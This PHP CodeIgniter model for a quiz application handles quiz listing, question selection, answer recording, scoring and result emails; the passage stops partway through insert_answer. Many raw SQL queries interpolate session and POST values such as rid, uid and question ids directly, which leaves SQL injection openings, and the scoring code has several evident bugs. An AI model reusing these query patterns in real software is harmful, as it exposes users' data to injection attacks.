<?php
Class Quiz_model extends CI_Model
{
 
  function quiz_list($limit,$stat=''){
	  
	  $logged_in=$this->session->userdata('logged_in');
	 
			$logged_in=$this->session->userdata('logged_in');
                        $acp=explode(',',$logged_in['quiz']);
			if(!in_array('List_all',$acp)){
			$gid=$logged_in['gid'];
			$uid=$logged_in['uid'];
			$query=$this->db->query("select * from savsoft_users where uid='$uid' ");
				$user=$query->row_array();
				$gid=explode(',',$user['gid']);
				$vgid=implode('|',$gid);
			// $where="FIND_IN_SET('".$gid."', gids) or FIND_IN_SET('".$uid."', uids)";  
			$where='CONCAT(",",gids, ",") REGEXP ",('.$vgid.'),"';
			 $this->db->where($where);			 
			}	
			
	 if($this->input->post('search') && in_array('List_all',$acp)){
		 $search=$this->input->post('search');
		 $this->db->or_where('quid',$search);
		 $this->db->or_like('quiz_name',$search);
		 $this->db->or_like('description',$search);

	 }
	 
	 /*if($logged_in['uid'] != '1' && $logged_in['inserted_by']!='0' ){
	 $uid=$logged_in['inserted_by'];
	 $this->db->where('savsoft_quiz.inserted_by',$uid);
	 }*/
	    if($stat=="active"){
	  $where=' end_date >= "'.time().'" ';
	   $this->db->where($where);
	  }
	  if($stat=="archived"){
	  $where=' end_date < "'.time().'" ';
	   $this->db->where($where);
	  }
	  if($stat=="upcoming"){
	  $where=' start_date >= "'.time().'" ';
	   $this->db->where($where);
	  }
	  if($logged_in['su'] != '1')
	 {
		 $this->db->limit($this->config->item('number_of_rows'),$limit);
		$this->db->order_by('id', 'RANDOM');
		 $this->db->limit(1);
		 $this->db->where('savsoft_quiz.status',1);
        $query=$this->db->get('savsoft_quiz');
		 return $query->result_array();
	  }
	  else{
	  	$this->db->limit($this->config->item('number_of_rows'),$limit);
		$this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		 return $query->result_array();
	  }
		
	 
 }
 
  function quizstat($stat){
	
	  $logged_in=$this->session->userdata('logged_in');
	 
			$logged_in=$this->session->userdata('logged_in');
                        $acp=explode(',',$logged_in['quiz']);
			if(!in_array('List_all',$acp)){
			$gid=$logged_in['gid'];
			$uid=$logged_in['uid'];
			$query=$this->db->query("select * from savsoft_users where uid='$uid' ");
				$user=$query->row_array();
				$gid=explode(',',$user['gid']);
				$vgid=implode('|',$gid);
			// $where="FIND_IN_SET('".$gid."', gids) or FIND_IN_SET('".$uid."', uids)";  
			$where='CONCAT(",",gids, ",") REGEXP ",('.$vgid.'),"';
			 $this->db->where($where);			 
			}	
			
	 if($this->input->post('search') && in_array('List_all',$acp)){
		 $search=$this->input->post('search');
		 $this->db->or_where('quid',$search);
		 $this->db->or_like('quiz_name',$search);
		 $this->db->or_like('description',$search);

	 }
	 
	 if($logged_in['uid'] != '1' && $logged_in['inserted_by']!='0' ){
	 $uid=$logged_in['inserted_by'];
	 $this->db->where('savsoft_quiz.inserted_by',$uid);
	 }
	  if($stat=="active"){
	  $where=' end_date >= "'.time().'" ';
	  }
	  if($stat=="archived"){
	  $where=' end_date < "'.time().'" ';
	  }
	  if($stat=="upcoming"){
	  $where=' start_date >= "'.time().'" ';
	  }
	  $this->db->where($where);
	  
		 $this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		 return $query->num_rows();
		
		
	 
 }
 
   function recent_quiz($limit){
	  
	 
		$this->db->limit($limit);
		$this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		return $query->result_array();
}
 
   function open_quiz($limit){
	  
	 
		$this->db->limit($this->config->item('number_of_rows'),$limit);
		$this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		return $query->result_array();
}
 
 
 function num_quiz(){
	 	$logged_in=$this->session->userdata('logged_in');
	
		 if($logged_in['uid'] != '1'){
	 	$uid=$logged_in['uid'];
	 	$this->db->where('savsoft_quiz.inserted_by',$uid);
	 } 
		 $query=$this->db->get('savsoft_quiz');
		return $query->num_rows();
 }
 function update_instruction($id){
		$logged_in=$this->session->userdata('logged_in');
	 	$userdata=array(
		 'content'=>$this->input->post('content'),
	   );
	   $this->db->where('id',$id);
	   if($this->db->update('savsoft_instructions',$userdata)){
	  	return true;
	   }else{
		    return false;
	   }
	}
 function get_instruction($id){
	$this->db->where('savsoft_instructions.id',$id);
	//$this -> db -> join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
	$query=$this->db->get('savsoft_instructions');
  	return $query->row_array(); 
 }
 function instruction_list(){
	$query=$this->db->get('savsoft_instructions');
	return $query->result_array();	 
 }
 function remove_instruction($id){
		$this->db->where('id',$id);
	 	if($this->db->delete('savsoft_instructions')){
		 return true;
	 }else{
		  return false;
		}
 }
 
 function insert_instruction(){
	$date=date("Y-m-d h:i");
	 $userdata=array(
	'content'=>$this->input->post('content'),
	'created_at' => $date
	);
		 if($this->db->insert('savsoft_instructions',$userdata)){
			 redirect('quiz/instruction_list');
		 }	
}
 
 function insert_quiz(){
	 
	 $userdata=array(
	 'quiz_name'=>$this->input->post('quiz_name'),
	 'description'=>$this->input->post('description'),
	 'start_date'=>strtotime($this->input->post('start_date')),
	 'end_date'=>strtotime($this->input->post('end_date')),
	 'duration'=>$this->input->post('duration'),
	 'maximum_attempts'=>$this->input->post('maximum_attempts'),
	 'pass_percentage'=>$this->input->post('pass_percentage'),
	 'correct_score'=>$this->input->post('correct_score'),
	 'incorrect_score'=>$this->input->post('incorrect_score'),
	 'ip_address'=>$this->input->post('ip_address'),
	 'view_answer'=>$this->input->post('view_answer'),
	 'camera_req'=>$this->input->post('camera_req'),
	 'quiz_template'=>$this->input->post('quiz_template'),
	 'quiz_price'=>$this->input->post('quiz_price'),
	 'with_login'=>$this->input->post('with_login'),
	 'show_chart_rank'=>$this->input->post('show_chart_rank'),
	 'gids'=>implode(',',$this->input->post('gids')),
	 'uids'=>implode(',',$this->input->post('uids')),
	 'question_selection'=>$this->input->post('question_selection')
	 );
	 	$userdata['gen_certificate']=$this->input->post('gen_certificate'); 
	 	  $logged_in=$this->session->userdata('logged_in');
	  $uid=$logged_in['uid'];
	  $fname=$logged_in['first_name'].' '.$logged_in['last_name'];
	  $userdata['inserted_by']=$uid;
	  $userdata['inserted_by_name']=$fname;
	 if($this->input->post('certificate_text')){
		$userdata['certificate_text']=$this->input->post('certificate_text'); 
	 }
	  $this->db->insert('savsoft_quiz',$userdata);
	 $quid=$this->db->insert_id();
	return $quid;
	 
 }
 
 
 function update_quiz($quid){
	 
	 $userdata=array(
	 'quiz_name'=>$this->input->post('quiz_name'),
	 'description'=>$this->input->post('description'),
	 'start_date'=>strtotime($this->input->post('start_date')),
	 'end_date'=>strtotime($this->input->post('end_date')),
	 'duration'=>$this->input->post('duration'),
	 'maximum_attempts'=>$this->input->post('maximum_attempts'),
	 'pass_percentage'=>$this->input->post('pass_percentage'),
	 'correct_score'=>$this->input->post('correct_score'),
	 'incorrect_score'=>$this->input->post('incorrect_score'),
	 'ip_address'=>$this->input->post('ip_address'),
	 'view_answer'=>$this->input->post('view_answer'),
	 'camera_req'=>$this->input->post('camera_req'),
	 'quiz_template'=>$this->input->post('quiz_template'),
	 'quiz_price'=>$this->input->post('quiz_price'),
	 'with_login'=>$this->input->post('with_login'),
	 'show_chart_rank'=>$this->input->post('show_chart_rank'),
         'uids'=>implode(',',$this->input->post('uids')),
	 'gids'=>implode(',',$this->input->post('gids'))
	 );
	  	 	 
		$userdata['gen_certificate']=$this->input->post('gen_certificate'); 
	  
	 if($this->input->post('certificate_text')){
		$userdata['certificate_text']=$this->input->post('certificate_text'); 
	 }
 
	  $this->db->where('quid',$quid);
	  $this->db->update('savsoft_quiz',$userdata);
	  
	  $this->db->where('quid',$quid);
	  $query=$this->db->get('savsoft_quiz',$userdata);
	 $quiz=$query->row_array();
	 if($quiz['question_selection']=='1'){
		 
	  $this->db->where('quid',$quid);
	  $this->db->delete('savsoft_qcl');
                $correct_i=array();
        	 $incorrect_i=array();	 
	 foreach($_POST['cid'] as $ck => $val){
		 if(isset($_POST['noq'][$ck])){
			 if($_POST['noq'][$ck] >= '1'){
		 $userdata=array(
		 'quid'=>$quid,
		 'cid'=>$val,
		 'lid'=>$_POST['lid'][$ck],
		 'i_correct'=>$_POST['i_correct'][$ck],
		 'i_incorrect'=>$_POST['i_incorrect'][$ck],
		 'noq'=>$_POST['noq'][$ck]
		 );
		 $this->db->insert('savsoft_qcl',$userdata);
		  for($i=1; $i<=$_POST['noq'][$ck]; $i++){
$correct_i[]=$_POST['i_correct'][$ck];
$incorrect_i[]=$_POST['i_incorrect'][$ck];
}
		 }
		 }
	 }
		 $userdata=array(
		 'noq'=>array_sum($_POST['noq']),
		 'correct_score'=>implode(',',$correct_i),
		 'incorrect_score'=>implode(',',$incorrect_i)
	);
	 $this->db->where('quid',$quid);
	  $this->db->update('savsoft_quiz',$userdata);
	 }else{
			$correct_i=array();
			 $incorrect_i=array();
 foreach($_POST['i_correct'] as $ck =>$cv){
$correct_i[]=$_POST['i_correct'][$ck];
$incorrect_i[]=$_POST['i_incorrect'][$ck];
}

	 $userdata=array(
		 'correct_score'=>implode(',',$correct_i),
		  'incorrect_score'=>implode(',',$incorrect_i)
		 
			);
	  $this->db->where('quid',$quid);
	  $this->db->update('savsoft_quiz',$userdata);


}
	return $quid;
	 
 }
 
 
 function get_quiz_transactions($quid){
	  $logged_in=$this->session->userdata('logged_in');
		$uid=$logged_in['uid'];
	 $this->db->where('quid',$quid);	
	 $this->db->where('uid',$uid);
     $this->db->where('payment_status','Paid');
     $query=$this->db->get('savsoft_payment');
	 
	return $query->num_rows();
 }
  
 function get_purchased_quiz(){
	  $logged_in=$this->session->userdata('logged_in');
		$uid=$logged_in['uid'];	
	 $this->db->where('uid',$uid);
     $this->db->where('payment_status','Paid');
     $query=$this->db->get('savsoft_payment');
	 $result=$query->result_array();
	 $pquid=array();
	 foreach($result as $k => $val){
		$pquid[]=$val['quid']; 
	 }
	return $pquid;
 }
 
 function get_questions($qids){
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }
/*
	 if($cid!='0'){
		 $this->db->where('savsoft_qbank.cid',$cid);
	 }
	 if($lid!='0'){
		 $this->db->where('savsoft_qbank.lid',$lid);
	 }
*/
	  
	 $query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid 
	 where savsoft_qbank.qid in ($qids) order by FIELD(savsoft_qbank.qid,$qids) 
	 ");
	 return $query->result_array();
	 
	 
 }
 function get_apti($qids){
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }

	  
	 $query=$this->db->query("select * ,savsoft_category.category_name from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid 
	 where savsoft_qbank.qid in ($qids) AND savsoft_category.category_name ='Aptitude' order by FIELD(savsoft_qbank.qid,$qids),Rand() 
	 ");
	 return $query->result_array();
	 
	 
 }
 function get_english($qids){
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }
	  
	 $query=$this->db->query("select * ,savsoft_category.category_name from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid 
	 where savsoft_qbank.qid in ($qids) AND savsoft_category.category_name ='English' order by FIELD(savsoft_qbank.qid,$qids),Rand() 
	 ");
	 return $query->result_array();
	 
	 
 }
  function get_technical($qids){
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }
	  
	 $query=$this->db->query("select * ,savsoft_category.category_name from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid 
	 where savsoft_qbank.qid in ($qids) AND savsoft_category.category_name ='Technical' order by FIELD(savsoft_qbank.qid,$qids),Rand() 
	 ");
	 return $query->result_array();
	 
	 
 }

  function get_reasoning($qids){
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }
	  
	 $query=$this->db->query("select * ,savsoft_category.category_name from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid 
	 where savsoft_qbank.qid in ($qids) AND savsoft_category.category_name ='Reasoning' order by FIELD(savsoft_qbank.qid,$qids),Rand() 
	 ");
	 return $query->result_array();
	 
	 
 }
 
 function get_options($qids){
	 
	 
	 $query=$this->db->query("select * from savsoft_options where qid in ($qids) order by FIELD(savsoft_options.qid,$qids)");
	 return $query->result_array();
	 
 }
 
 
 
 function up_question($quid,$qid){
  	$this->db->where('quid',$quid);
 	$query=$this->db->get('savsoft_quiz');
 	$result=$query->row_array();
 	$qids=$result['qids'];
 	if($qids==""){
 	$qids=array();
 	}else{
 	$qids=explode(",",$qids);
 	}
 	$qids_new=array();
 	foreach($qids as $k => $qval){
 	if($qval == $qid){

 	$qids_new[$k-1]=$qval;
	$qids_new[$k]=$qids[$k-1];
	
 	}else{
	$qids_new[$k]=$qval;
 	
	}
 	}
 	
 	$qids=array_filter(array_unique($qids_new));
 	$qids=implode(",",$qids);
 	$userdata=array(
 	'qids'=>$qids
 	);
 		$this->db->where('quid',$quid);
	$this->db->update('savsoft_quiz',$userdata);

}



function down_question($quid,$qid){
  	$this->db->where('quid',$quid);
 	$query=$this->db->get('savsoft_quiz');
 	$result=$query->row_array();
 	$qids=$result['qids'];
 	if($qids==""){
 	$qids=array();
 	}else{
 	$qids=explode(",",$qids);
 	}
 	$qids_new=array();
 	foreach($qids as $k => $qval){
 	if($qval == $qid){

 	$qids_new[$k]=$qids[$k+1];
$kk=$k+1;
	$kv=$qval;
 	}else{
	$qids_new[$k]=$qval;
 	
	}

 	}
 	$qids_new[$kk]=$kv;
	
 	$qids=array_filter(array_unique($qids_new));
 	$qids=implode(",",$qids);
 	$userdata=array(
 	'qids'=>$qids
 	);
 		$this->db->where('quid',$quid);
	$this->db->update('savsoft_quiz',$userdata);

}




function get_qcl($quid){
	
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_qcl');
	 return $query->result_array();
	
}

 function remove_qid($quid,$qid){
	 
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 $quiz=$query->row_array();
	 $new_qid=array();
	 foreach(explode(',',$quiz['qids']) as $key => $oqid){
		 
		 if($oqid != $qid){
			$new_qid[]=$oqid; 
			 
		 }
		 
	 }
	 $noq=count($new_qid);
	 $userdata=array(
	 'qids'=>implode(',',$new_qid),
	 'noq'=>$noq
	 
	 );
	 $this->db->where('quid',$quid);
	 $this->db->update('savsoft_quiz',$userdata);
	 return true;
 }
 
  function add_qid($quid,$qid){
	 
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 $quiz=$query->row_array();
	 $new_qid=array();
	 foreach(explode(',',$quiz['qids']) as $key => $oqid){
		 
		 if($oqid != $qid){
			$new_qid[]=$oqid; 
			 
		 }
		 
	 }
	 $new_qid[]=$qid;
	 
	 $new_qid=array_filter(array_unique($new_qid));
	 $noq=count($new_qid);
	 $userdata=array(
	 'qids'=>implode(',',$new_qid),
	 'noq'=>$noq
	 
	 );
	 $this->db->where('quid',$quid);
	 $this->db->update('savsoft_quiz',$userdata);
	 return true;
 }
 

 
 function get_quiz($quid){
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 return $query->row_array();
	 
	 
 } 
 function update_lock($quid,$status){
 	 if($status==1){
 	 	$lock_status=0;
 	 }
 	 else{
 	 	$lock_status=1;
 	 }
 	// echo $status;die();
 	 $userdata=array(
		'status'=>$lock_status,
		);
	 $this->db->where('quid',$quid);
	 if($this->db->update('savsoft_quiz',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
	 
 } 
 
 function remove_quiz($quid){
	 
	 $this->db->where('quid',$quid);
	 if($this->db->delete('savsoft_quiz')){
		 
		 return true;
	 }else{
		 
		 return false;
	 }
	 
	 
 }
 
  
 
 function count_result($quid,$uid){
	 
	 $this->db->where('quid',$quid);
	 $this->db->where('uid',$uid);
	$query=$this->db->get('savsoft_result');
	return $query->num_rows();
	 
 }
 
 
 function insert_result($quid,$uid){
	 
	 // get quiz info
	  $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	$quiz=$query->row_array();
	 
	 if($quiz['question_selection']=='0'){
		 
	// get questions	
$noq=$quiz['noq'];	
	//$qids=explode(',',$quiz['qids']);
$qid_old=$quiz['qids'];
$qids=[];
//$query_section=$this->db->query("select qid from savsoft_qbank  join savsoft_category on savsoft_category.cid=savsoft_qbank.cid   WHERE  savsoft_qbank.qid IN ($qid_old)  ORDER BY 'savsoft_category.category_name' ASC");
$query_section = $this->db->query("select qid,cid,ord from(select qb.qid,qb.cid,savsoft_category.ord from savsoft_qbank qb join savsoft_category on savsoft_category.cid=qb.cid  WHERE qb.qid IN ($qid_old)) p order by ord ASC");
$section_qid=$query_section->result_array();
//echo '<pre>';
//print_r($section_qid);die();
foreach ($section_qid as $key => $value) {
$section_qid1=$value['qid'];

array_push($qids,  $section_qid1);
}
//print_r($qids);die();
	$categories=array();
	$category_range=array();

	$i=0;
	$wqids=implode(',',$qids);
	$noq=array();
	$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where qid in ($wqids) ORDER BY FIELD(qid,$wqids)  ");	
	$questions=$query->result_array();
	foreach($questions as $qk => $question){
	if(!in_array($question['category_name'],$categories)){
		if(count($categories)!=0){
			$i+=1;
		}
	$categories[]=$question['category_name'];
	$noq[$i]+=1;
	}else{
	$noq[$i]+=1;

	}
	}
	
	$categories=array();
	$category_range=array();
   $categories_query= $this->db->query("select category_name from savsoft_category ORDER BY category_name ASC");
   $section_categoryname=$categories_query->result_array();
   foreach ( $section_categoryname as $key => $value) {
   array_push($categories,  $value['category_name']);
   }
   $categoryrange_query = $this->db->query("select count(case when savsoft_category.category_name = 'Aptitude' then savsoft_qbank.qid end) as apti_questions,
   count(case when savsoft_category.category_name = 'English' then savsoft_qbank.qid end) as english_questions,count(case when savsoft_category.category_name = 'Reasoning' then savsoft_qbank.qid end) as reasoning_questions,count(case when savsoft_category.category_name = 'Technical' then savsoft_qbank.qid end) as technical_questions
    from savsoft_qbank  join savsoft_category on savsoft_category.cid=savsoft_qbank.cid   WHERE  savsoft_qbank.qid IN ($qid_old)  ORDER BY 'savsoft_category.category_name' ASC");
 $section_categoryrange=$categoryrange_query->result_array();
 foreach ($section_categoryrange as $key => $value) {
   array_push($category_range, $value['apti_questions']);
    array_push($category_range, $value['english_questions']);
     array_push($category_range, $value['reasoning_questions']);
      array_push($category_range, $value['technical_questions']);
   }
 
	/*$i=-1;
	foreach($questions as $qk => $question){
		if(!in_array($question['category_name'],$categories)){
		 //$categories[]=$question['category_name'];
		$i+=1;	
		$category_range[]=$noq[$i];
		
		} 
	}*/
 
	
	}else{
	// randomaly select qids
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_qcl');
	 $qcl=$query->result_array();
	$qids=array();
	$categories=array();
	$category_range=array();
	
	foreach($qcl as $k => $val){
		$cid=$val['cid'];
		$lid=$val['lid'];
		$noq=$val['noq'];
		
		$i=0;
	$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq ");	
	$questions=$query->result_array();
	foreach($questions as $qk => $question){
		$qids[]=$question['qid'];
		if(!in_array($question['category_name'],$categories)){
		$categories[]=$question['category_name'];
		$category_range[]=$i+$noq;
		}
	}
	}
	}
	$zeros=array();
	 foreach($qids as $qidval){
	 $zeros[]=0;
	 }
	 
	 
	 
	 $userdata=array(
	 'quid'=>$quid,
	 'uid'=>$uid,
	 'r_qids'=>implode(',',$qids),
	 'categories'=>implode(',',$categories),
	 'category_range'=>implode(',',$category_range),
	 'start_time'=>time(),
	 'individual_time'=>implode(',',$zeros),
	 'score_individual'=>implode(',',$zeros),
	 'attempted_ip'=>$_SERVER['REMOTE_ADDR'] 
	 );
	 
	 if($this->session->userdata('photoname')){
		 $photoname=$this->session->userdata('photoname');
		 $userdata['photo']=$photoname;
	 }
	 $this->db->insert('savsoft_result',$userdata);
	  $rid=$this->db->insert_id();
	return $rid;
 }
 
 
 
 function open_result($quid,$uid){
	 $result_open=$this->lang->line('open');
		$query=$this->db->query("select * from savsoft_result  where savsoft_result.result_status='$result_open'  and savsoft_result.uid='$uid'  "); 
	if($query->num_rows() >= '1'){
		$result=$query->row_array();
return $result['rid'];		
	}else{
		return '0';
	}
	
	 
 }
 
 function quiz_result($rid){
	 
	 
	$query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	return $query->row_array(); 
	 
 }
 
function saved_answers($rid){
	 
	 
	$query=$this->db->query("select * from savsoft_answers  where savsoft_answers.rid='$rid' "); 
	return $query->result_array(); 
	 
 }
 
 
 function assign_score($rid,$qno,$score){
	 $qp_score=$score;
	 $query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$score_ind=explode(',',$quiz['score_individual']);
	$score_ind[$qno]=$score;
	$r_qids=explode(',',$quiz['r_qids']);
        $correct_score=explode(',',$quiz['correct_score']);
	$incorrect_score=explode(',',$quiz['incorrect_score']);
	$manual_valuation=0;
	foreach($score_ind as $mk => $score){
		
		if($score == 1){
			if(isset($correct_score[$mk])){
			$marks+=$correct_score[$mk];
			}else{
			$marks+=$correct_score[0];
			}
		}
		if($score == 2){
		
			if(isset($correct_score[$mk])){
			$marks+=$incorrect_score[$mk];
			}else{
			$marks+=$incorrect_score[0];
			}
			
		}
		if($score == 3){
			
			$manual_valuation=1;
		}
		
	}
	$percentage_obtained=($marks/(array_sum($correct_score)))*100;
	if($percentage_obtained >= $quiz['pass_percentage']){
		$qr=$this->lang->line('pass');
	}else{
		$qr=$this->lang->line('fail');
		
	}
	 $userdata=array(
	  'score_individual'=>implode(',',$score_ind),
	  'score_obtained'=>$marks,
	 'percentage_obtained'=>$percentage_obtained,
	 'manual_valuation'=>$manual_valuation
	 );
	 if($manual_valuation == 1){
		 $userdata['result_status']=$this->lang->line('pending');
	}else{
		$userdata['result_status']=$qr;
	}
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 // question performance
	 $qp=$r_qids[$qno];
	 		 $crin="";
		if($$qp_score=='1'){
			$crin=", no_time_corrected=(no_time_corrected +1)"; 	 
		 }else if($$qp_score=='2'){
			$crin=", no_time_incorrected=(no_time_incorrected +1)"; 	 
		 }
		  $query_qp="update savsoft_qbank set  $crin  where qid='$qp'  ";
	 $this->db->query($query_qp);
 }
 
 
 
 function submit_result(){
	 if(!$this->session->userdata('logged_in')){
		$logged_in=$this->session->userdata('logged_in_raw');
	 }else{
	 $logged_in=$this->session->userdata('logged_in');
	 }
	 $email=$logged_in['email'];
	 $rid=$this->session->userdata('rid');
	$query=$this->db->query("select * from savsoft_result 
	join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid 
	join savsoft_users on savsoft_users.uid=savsoft_result.uid 
	where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$score_ind=explode(',',$quiz['score_individual']);
	$r_qids=explode(',',$quiz['r_qids']);
	$qids_perf=array();
	$marks=0;
	$correct_score=explode(',',$quiz['correct_score']);
	$incorrect_score=explode(',',$quiz['incorrect_score']);
	$total_time=array_sum(explode(',',$quiz['individual_time']));
	$manual_valuation=0;
	
	foreach($score_ind as $mk => $score){
		$qids_perf[$r_qids[$mk]]=$score;
		
		
		
		if($score == 1){
			if(isset($correct_score[$mk])){
			$marks+=$correct_score[$mk];
			}else{
			$marks+=$correct_score[0];
			}
		}
		if($score == 2){
		
			if(isset($incorrect_score[$mk])){
			$marks+=$incorrect_score[$mk];
			}else{
			$marks+=$incorrect_score[0];
			}
			
		}
		
		if($score == 3){
			
			$manual_valuation=1;
		}
		
		
	}
	if(is_array($correct_score)){
	$percentage_obtained=($marks/(array_sum($correct_score)))*100;
	}else{
	$percentage_obtained=($marks/($quiz['noq']*$correct_score))*100;
	}
	if($percentage_obtained >= $quiz['pass_percentage']){
		$qr=$this->lang->line('pass');
	}else{
		$qr=$this->lang->line('fail');
		
	}
	 $userdata=array(
	  'total_time'=>$total_time,
	   'end_time'=>time(),
	  'score_obtained'=>$marks,
	 'percentage_obtained'=>$percentage_obtained,
	 'manual_valuation'=>$manual_valuation
	 );
	 if($manual_valuation == 1){
		 $userdata['result_status']=$this->lang->line('pending');
	}else{
		$userdata['result_status']=$qr;
	}
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 
	 foreach($qids_perf as $qp => $qpval){
		 $crin="";
		 if($qpval=='0'){
			$crin=", no_time_unattempted=(no_time_unattempted +1) "; 
		 }else if($qpval=='1'){
			$crin=", no_time_corrected=(no_time_corrected +1)"; 	 
		 }else if($qpval=='2'){
			$crin=", no_time_incorrected=(no_time_incorrected +1)"; 	 
		 }
		  $query_qp="update savsoft_qbank set no_time_served=(no_time_served +1)  $crin  where qid='$qp'  ";
	 $this->db->query($query_qp);
		 
	 }
	 
if($this->config->item('allow_result_email')){
	$this->load->library('email');
	$query = $this -> db -> query("select savsoft_result.*,savsoft_users.*,savsoft_quiz.* from savsoft_result, savsoft_users, savsoft_quiz where savsoft_users.uid=savsoft_result.uid and savsoft_quiz.quid=savsoft_result.quid and savsoft_result.rid='$rid'");
	$qrr=$query->row_array();
  		if($this->config->item('protocol')=="smtp"){
			$config['protocol'] = 'smtp';
			$config['smtp_host'] = $this->config->item('smtp_hostname');
			$config['smtp_user'] = $this->config->item('smtp_username');
			$config['smtp_pass'] = $this->config->item('smtp_password');
			$config['smtp_port'] = $this->config->item('smtp_port');
			$config['smtp_timeout'] = $this->config->item('smtp_timeout');
			$config['mailtype'] = $this->config->item('smtp_mailtype');
			$config['starttls']  = $this->config->item('starttls');
			$config['newline']  = $this->config->item('newline');

			$this->email->initialize($config);
		}
			$toemail=$qrr['email'];
			$fromemail=$this->config->item('fromemail');
			$fromname=$this->config->item('fromname');
			$subject=$this->config->item('result_subject');
			$message=$this->config->item('result_message');
			
			$subject=str_replace('[email]',$qrr['email'],$subject);
			$subject=str_replace('[first_name]',$qrr['first_name'],$subject);
			$subject=str_replace('[last_name]',$qrr['last_name'],$subject);
			$subject=str_replace('[quiz_name]',$qrr['quiz_name'],$subject);
			$subject=str_replace('[score_obtained]',$qrr['score_obtained'],$subject);
			$subject=str_replace('[percentage_obtained]',$qrr['percentage_obtained'],$subject);
			$subject=str_replace('[current_date]',date('Y-m-d H:i:s',time()),$subject);
			$subject=str_replace('[result_status]',$qrr['result_status'],$subject);
			
			$message=str_replace('[email]',$qrr['email'],$message);
			$message=str_replace('[first_name]',$qrr['first_name'],$message);
			$message=str_replace('[last_name]',$qrr['last_name'],$message);
			$message=str_replace('[quiz_name]',$qrr['quiz_name'],$message);
			$message=str_replace('[score_obtained]',$qrr['score_obtained'],$message);
			$message=str_replace('[percentage_obtained]',$qrr['percentage_obtained'],$message);
			$message=str_replace('[current_date]',date('Y-m-d H:i:s',time()),$message);
			$message=str_replace('[result_status]',$qrr['result_status'],$message);
			 
			
			$this->email->to($toemail);
			$this->email->from($fromemail, $fromname);
			$this->email->subject($subject);
			$this->email->message($message);
			/*if(!$this->email->send()){
			 //print_r($this->email->print_debugger());
			
			}*/
	}
	
 


// feed ends

	return true;
 }
 
 
 
 
 
 function insert_answer(){
	 $rid=$_POST['rid'];
	$srid=$this->session->userdata('rid');
	if(!$this->session->userdata('logged_in')){
		$logged_in=$this->session->userdata('logged_in_raw');
	}else{
		$logged_in=$this->session->userdata('logged_in');
	}
	$uid=$logged_in['uid'];
	if($srid != $rid){

	return "Something wrong";
	}
	$query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	$quiz=$query->row_array(); 
	$correct_score=$quiz['correct_score'];
	$incorrect_score=$quiz['incorrect_score'];
	$qids=explode(',',$quiz['r_qids']);
	$vqids=$quiz['r_qids'];
	$correct_incorrect=explode(',',$quiz['score_individual']);
	
	$qn=$_POST['qn'];
	
	// remove existing answers
	$this->db->where('rid',$rid);
	$this->db->where('qn',$qn);
	$this->db->delete('savsoft_answers');
	
	 foreach($_POST['answer'] as $ak => $answer){
		 if($_POST['qn']==$ak){
		 // multiple choice single answer
		 if($_POST['question_type'][$ak] == '1' || $_POST['question_type'][$ak] == '2'){
			 
			 $qid=$qids[$ak];
			 $query=$this->db->query(" select * from savsoft_options where qid='$qid' ");
			 $options_data=$query->result_array();
			 $options=array();
			 foreach($options_data as $ok => $option){
				 $options[$option['oid']]=$option['score'];
			 }
			 $attempted=0;
			 $marks=0;
				foreach($answer as $sk => $ansval){
					if($options[$ansval] <= 0 ){
					$marks+=-1;	
					}else{
					$marks+=$options[$ansval];
					}
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'qn'=>$qn,
					'q_option'=>$ansval,
					'score_u'=>$options[$ansval]
					);
					$this->db->insert('savsoft_answers',$userdata);
				$attempted=1;	
				}
				if($attempted==1){
					if($marks >= '0.99' ){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 // short answer
		 if($_POST['question_type'][$ak] == '3'){
			 
			 $qid=$qids[$ak];
